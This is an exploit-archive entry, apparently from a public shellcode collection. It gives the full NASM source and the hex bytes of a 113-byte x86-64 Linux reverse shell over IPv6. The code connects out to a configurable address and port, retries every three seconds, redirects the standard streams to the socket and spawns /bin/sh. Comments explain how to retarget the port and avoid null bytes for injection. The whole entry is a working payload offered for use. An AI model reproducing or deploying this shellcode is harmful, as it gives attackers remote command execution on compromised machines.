Linux/x86-64 - Reverse Shell Shellcode (IPv6) (113 bytes)

[BITS 64]
 
; **reverse ip6 tcp shell   
; * size >= 113 bytes (depends of ip addr, default is ::1)
; * nullbytes free (depends only on ip addr,
;   you could always and the ip add to remove
;   the nulls like i did with the port)
; * it sleeps and then tries to recconect (default 3 seconds) 
;
;shell =
;"\x6a\x0a\x5f\x6a\x01\x5e\x48\x31\xd2\x6a\x29\x58\x0f\x05\x50\x5b"
;"\x52\x48\xb9\x00\x00\x00\x00\x00\x00\x01\x51\xb9\x00\x00\x00\x00"
;"\x51\xba\xff\xff\x05\xc0\x66\x21\xfa\x52\x48\x31\xf6\x56\x6a\x03"
;"\x54\x5f\x6a\x23\x58\x0f\x05\x59\x59\x53\x5f\x54\x5e\x6a\x1c\x5a"
;"\x6a\x2a\x58\x0f\x05\x48\x85\xc0\x75\xe0\x48\x96\x6a\x03\x5e\x6a"
;"\x21\x58\x48\xff\xce\x0f\x05\x75\xf6\x48\xbf\x2f\x2f\x62\x69\x2f"
;"\x73\x68\x56\x57\x48\x31\xd2\x54\x5f\x6a\x3b\x58\x0f\x05"
;
; again, the nulls propably won't even come up with your global ip addr
; if they do, and you don't encodee the payload, you could do some
; bitwise operations
;
; made by srakai (github.com/Srakai)
 
 
AF_INET6    equ 10
SOCK_STREAM equ 1
SOCKET      equ 41
CONNECT     equ 42
DUP2        equ 33
EXECVE      equ 59
NANOSLEEP   equ 35
 
section .text
 
global _start
 
_start:
 
; socket()
 
push    AF_INET6
pop     rdi
push    SOCK_STREAM
pop     rsi
xor     rdx, rdx
push    SOCKET
pop     rax
syscall
 
push    rax
pop     rbx
 
; create struct sockaddr_in6
push    rdx         ;scope id = 0
mov     rcx, 0x0100000000000000 ;sin6_addr  for local link use:
push    rcx                     ;sin6_addr  0x0100000000000000 
mov     rcx, 0x0000000000000000 ;sin6_addr  0x0000000000000000
push    rcx             ;sin6_addr
mov     edx, 0xc005FFFF     ;sin6_flowinfo=0 , family=AF_INET6, port=1472 
and     dx, di          ;to change port change P, 0xPPPP000A
push    rdx
 
sleep:
 
xor     rsi, rsi
; struct timespec
push    rsi         ;push 0
push    3       ;seconds to sleep
 
; nanosleep()
push    rsp
pop     rdi
push    NANOSLEEP
pop     rax
syscall
 
pop     rcx         ;clear stack
pop     rcx
 
; connect()
push    rbx
pop     rdi
push    rsp
pop     rsi
push    28      ;sizeof struct
pop     rdx
push    CONNECT
pop     rax
syscall
 
test    rax, rax    ;if (rax&rax) ==0   
jnz     sleep   
 
; dup2()
xchg    rsi, rax    ;rsi=0
push    3
pop     rsi
dup2:
push    DUP2
pop     rax
dec     rsi
syscall
jnz     dup2
 
; execve()
mov     rdi, 0x68732f6e69622f2f
push    rsi
push    rdi
xor     rdx, rdx
push    rsp
pop     rdi
push    EXECVE 
pop     rax
syscall